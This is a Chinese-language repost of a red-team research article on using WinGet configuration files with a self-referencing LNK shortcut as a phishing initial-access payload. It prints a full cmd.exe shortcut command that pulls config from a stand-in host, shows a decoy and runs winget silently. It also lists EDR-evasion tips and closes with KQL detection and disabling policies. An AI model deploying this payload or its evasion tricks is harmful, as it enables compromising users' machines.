WinGetDesiredState:一个被低估的初始访问通道

admin 2026-03-06 18:26:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文揭示利用WinGetConfiguration结合自引用LNK文件的初始访问技术。因WinGet忽略MoTW且无SmartScreen,攻击者可构造配置文件通过LNK触发执行PowerShell。文章阐述载荷构造及对抗EDR技巧,提供KQL检测规则与禁用功能的防御措施,建议禁用未使用组件缩减攻击面。 综合评分: 88 文章分类: 红队,实战经验,渗透测试,安全建设


cover_image

WinGet Desired State: 一个被低估的初始访问通道

compass-securit compass-securit

赛博知识驿站

2026年3月6日 10:00 中国香港

核心要点:虽然算不上什么新鲜手法,但将自引用LNK文件与winget配置指令相结合,在未禁用Microsoft Store的环境中,确实能化腐朽为神奇——成为一条相当实用的初始访问路径。

当红队项目需要设计一个初始访问载荷时,安全研究员们通常会从以下几个维度寻找灵感:

  • • 文件扩展名的关联程序
  • • 系统注册的协议处理器
  • • Microsoft EdgeOutlook等主流应用的黑名单机制
  • • 威胁行为者惯用的文件类型

正是在这样的背景下,作者的同事Sylvain注意到了一个细节:.winget扩展名被映射到了以下命令,这意味着只需双击即可轻松执行:

winget.exe configure "%1" --wait

尽管winget的滥用潜力早已不是秘密,但防御社区似乎对此相当”佛系”——这从它未被纳入前述危险文件拦截列表中就能窥见一斑。究其原因,可能是因为微软自己在大力推广这个功能,比如用它来简化开发者依赖的安装流程:

微软官方安装指引

微软官方文档中的开发者依赖安装指引

从攻击者的角度来看,更妙的是:winget完全不理会Mark of the Web (MoTW)标记,也没有集成SmartScreen防护——这简直是”无脑”通行证。

快速入门:WinGet Configuration 是什么?

winget configuration功能[1]构建于PowerShell Desired State Configuration (DSC)之上,这是一个声明式的系统配置管理平台。如果你熟悉Ansible,就会发现两者的理念如出一辙:通过一系列理想化的幂等配置步骤,最终达成一致的系统状态。

要启用configure组件的扩展特性,普通用户权限即可搞定:

winget configure --enable

默认资源[2]提供了丰富的功能:访问环境变量和注册表、解压归档文件、创建进程,以及执行PowerShell脚本。这些能力足以支撑各种”钓鱼持久化”手段。举个简单的例子,以下配置文件会下载并运行Sysinternals的Process Explorer

properties:
  configurationVersion: 0.2.0
  resources:
    - resource: PSDscResources/Script
      directives:
        description: Download ProcessExplorer.zip from remote URL
      settings:
        SetScript: "Invoke-WebRequest -Uri 'https://download.sysinternals.com/files/ProcessExplorer.zip' -OutFile 'C:\\Windows\\Temp\\ProcessExplorer.zip' -UseBasicParsing"
        GetScript: $false
        TestScript: $false
    - resource: PSDscResources/Archive
      directives:
        description: Extract ProcessExplorer.zip
      settings:
        Path: C:\Windows\Temp\ProcessExplorer.zip
        Destination: C:\Windows\Temp\Extracted
        Ensure: Present
    - resource: PSDscResources/WindowsProcess
      directives:
        description: Run ProcessExplorer.exe from extracted archive
      settings:
        Path: C:\Windows\Temp\Extracted\procexp64.exe
        Arguments: "-accepteula"

从攻击视角来看,winget本质上是一个优雅的PowerShell执行代理——它借助系统原生的配置管理功能,将真正的系统变更操作交给ConfigurationRemotingServer.exe进程来完成。这种模式与通过SCCM部署脚本有几分神似,后者的脚本会通过CcmExec.exe执行,往往较少受到审查。如有需要,所有引用的PowerShell资源会自动从PowerShell Gallery[3]下载并存储在%LOCALAPPDATA%\Microsoft\WinGet\Configuration\Modules

从终端用户的视角来看,双击.winget文件的效果如下:

双击执行效果

打开.winget文件时的标准行为

然而,想要说服钓鱼目标执行这样的载荷,还存在几个”尴尬”的障碍:

  • • 用户必须明确输入Y(大小写不敏感)来确认安装
  • • 会显示大量令人困惑的文本信息
  • • 由于--wait命令行选项,控制台应用会在执行后保持打开状态

减少用户交互:化繁为简的艺术

要绕过显式的用户输入,可以采用以下两种方式:

  • • 启动winget时加上--accept-configuration-agreements选项
  • • 通过其他形式提供所需的确认输入,例如echo y | winget ...

输出信息可以通过重定向到>nul来抑制。

所有这些选项都需要直接控制winget的调用方式,这意味着配置文件不能再单独使用,而需要通过某种触发文件来应用。最显而易见的方法是使用LNK快捷方式。这将交互式键盘输入的需求替换为一个与MoTW相关的安全警告对话框——终端用户更有可能接受后者。由于winget也支持应用托管在Web服务器上的配置,第一次尝试是使用执行以下命令的快捷方式:

winget configure https://yourhost.tld/burpisnotbeef.yml --accept-configuration-agreements

虽然包含在ZIP归档中的LNK可以通过HTML走私传递到端点,但后续执行却失败了。

此时,研究人员决定尝试Emeric Nasi在其Offensive X演讲Breach The Gate: Advanced Initial Access Craft 2024[4]中讨论的技术:

自引用LNK技术

自引用LNK技术示意图

核心思路是精心构造一个LNK快捷方式,让它:

  1. 1. 定位自身
  2. 2. 使用more命令[5]提取附加的winget配置数据
  3. 3. 展示一个诱饵文档来分散用户注意力
  4. 4. 在后台以所需选项执行winget

为了定位投递的LNK文件,假设用户要么在下载文件夹中解压了ZIP归档,要么直接打开了归档文件。在后一种情况下,Windows会将选定文件解压到临时目录,例如:%TMP%\2af79810-65c9-4d8d-8a63-5f003ab362c8_update.zip.2c8\update.lnk

将上述列表中的步骤1-4组合起来,得到的快捷方式命令如下:

C:\Windows\system32\cmd.exe /c "(cd %TMP%\*update.zip* || cd %HOMEPATH%\Downloads\update) & (more +1349 *.lnk > %TMP%\conf.yml) && start https://yourhost.tld/decoy.pdf & winget configure --enable & (echo Y | winget configure -f %TMP%\conf.yml >nul)"

此时作者心想:这玩意儿不可能瞒得过现代EDR

预测EDR反应很难

预测现代EDR系统的反应真的很难

对于Microsoft Defender for Endpoint (MDE)来说,关键在于将LNK文件的整体大小(包括附加数据)控制得尽可能小。否则会触发如下告警:

MDE告警

MDE似乎不喜欢大体积的LNK文件

基于有限的实践经验,这里有一些实用建议:

  • • 将快捷方式命令行保持得尽可能短,不要超过约250个字符
  • • 用别名winget dsc代替winget configure
  • • 文件扩展名无关紧要:用.yml代替.winget,或者干脆省略扩展名
  • • 为了加快配置过程,使用单个PowerShell脚本资源
  • • 使用映射到编译的.NET cmdlet的命令,或使用如[System.IO.Compression.ZipFile]::ExtractToDirectory这样的API,而不是Expand-Archive,以避免创建额外的powershell.exe进程
  • • 避免使用.pdf.lnk这样的双重文件扩展名
  • • 如果在未启用扩展功能的系统上遇到问题,使用如timeout /t 1添加小延迟
  • • 如果echo Y | ...结构面临脆弱的检测,使用其他方式如echo y > x & type x | ...或应用轻微的DOSfuscation[6]混淆
  • • 检查你的载荷是否匹配常见的LNK相关YARA规则[7]
  • • 在投递的ZIP文件的嵌套文件夹结构中添加更多良性文件
  • • 如果使用独立的winget方法,在配置文件的PowerShell脚本的前5行用与你的预文本匹配的注释进行填充

遗留PowerShell脚本资源[8]、较新的基于类的DSC资源[9]、核心PSDesiredStateConfiguration模块[10]以及winget工具[11]本身的源代码都可以在GitHub上找到,供进一步检查。例如,可以发现PowerShell执行使用的是System.Management.Automation,这意味着你的脚本会通过AMSI

演示视频

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

赛博知识驿站已关注

分享视频

,时长00:38

0/0

00:00/00:38

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

00:38

00:38

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

WinGet Desired State: 一个被低估的初始访问通道

观看更多

转载

,

WinGet Desired State: 一个被低估的初始访问通道

赛博知识驿站已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

在已启用扩展功能的系统上的终端用户体验。winget命令在最小化的控制台窗口中后台运行。

这项技术还可以与其他LNK相关技巧[12]结合使用,在好奇的用户检查快捷方式属性时隐藏执行的命令。

检测:让攻击行为无所遁形

要检查你的环境中是否存在该功能的(滥)用情况,可以尝试运行以下KQL查询,列出所有winget configure调用。重要的是子字符串匹配需要不区分大小写:

DeviceProcessEvents
| where FileName =~ "winget.exe"
| where ProcessCommandLine has_any ("configure", "configuration", "dsc")

在受影响的机器上,可以使用以下命令列出已应用的配置及其来源:

winget configure list

此外,winget会将所有执行的调用记录在通过winget --logs打开的目录中。默认情况下会记录执行时间和使用的命令行参数。如果通过winget settings打开的配置文件提高日志详细程度[13],还会记录完整的配置指令和各个步骤的执行情况。

补救措施:审时度势,对症下药

假设完全不需要winget功能,可以通过禁用整个Microsoft Store[14],或者更具体地说,通过EnableAppInstaller策略[15]禁用Windows Package Manager (winget)来缓解攻击面。Windows Defender Application Control (WDAC)等通用应用程序白名单解决方案提供了另一种阻止执行的方法。

如果需要Windows package manager,可以通过EnableWindowsPackageManagerConfiguration[16]策略指令单独禁用本文描述的配置子命令。

补救措施

根据是禁用Store应用、包管理器(winget)还是其配置功能,会出现不同的错误模式

如果出于某种原因无法实现上述方案,那么至少考虑移除.winget文件关联。虽然这无法阻止LNK恶作剧,但它消除了通过简单双击来执行配置文件的可能性,从而提高了所需的社会工程努力。

结语:进化的必然与防御的智慧

本文展示了一种可行的初始访问载荷方案,它将两种已知技术巧妙串联:将winget作为”白利用”二进制文件来调用PowerShell脚本,以及将自引用Windows快捷方式作为组合的投递和执行机制。

真正的智慧在于,防御者应当尽可能缩减系统的攻击面——禁用未使用的Windows组件和功能,如Microsoft StoreWindows Package Manager (winget)或其配置功能,这不仅是技术选择,更是安全策略的进化必然。

原文:https://blog.compass-security.com/2026/03/winget-desired-state-initial-access-established/

引用链接

[1] winget configuration功能: https://learn.microsoft.com/en-us/windows/package-manager/configuration/ [2] 默认资源: https://learn.microsoft.com/en-us/powershell/dsc/reference/psdscresources/overview?view=dsc-2.0#resources [3] PowerShell Gallery: https://www.powershellgallery.com/packages?q=Tags%3A%22DSC%22 [4] Breach The Gate: Advanced Initial Access Craft 2024: https://www.youtube.com/watch?v=bA2p27gQK4M [5] more命令: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/more [6] DOSfuscation: https://services.google.com/fh/files/misc/exploring-the-depths-of-cmd-exe-obfuscation-wp-en.pdf [7] LNK相关YARA规则: https://github.com/Neo23x0/signature-base/blob/master/yara/gen_susp_lnk_files.yar [8] 遗留PowerShell脚本资源: https://github.com/PowerShell/PSDscResources/blob/master/DscResources/MSFT_ScriptResource/MSFT_ScriptResource.psm1 [9] 基于类的DSC资源: https://github.com/microsoft/winget-dsc/tree/main/resources [10] PSDesiredStateConfiguration模块: https://github.com/PowerShell/PSDesiredStateConfiguration [11] winget工具: https://github.com/microsoft/winget-cli/blob/HEAD/src/AppInstallerCLICore/Commands/ConfigureCommand.cpp [12] LNK相关技巧: https://www.wietzebeukema.nl/blog/trust-me-im-a-shortcut [13] 日志详细程度: https://github.com/microsoft/winget-cli/blob/master/doc/Settings.md#logging [14] 整个Microsoft Store: https://learn.microsoft.com/en-us/windows/configuration/store/ [15] EnableAppInstaller策略: https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-desktopappinstaller#enableappinstaller [16] EnableWindowsPackageManagerConfigurationhttps://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-desktopappinstaller#enablewindowspackagemanagerconfiguration


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛博知识驿站 compass-securit compass-securit《WinGet Desired State: 一个被低估的初始访问通道》

评论:0   参与:  0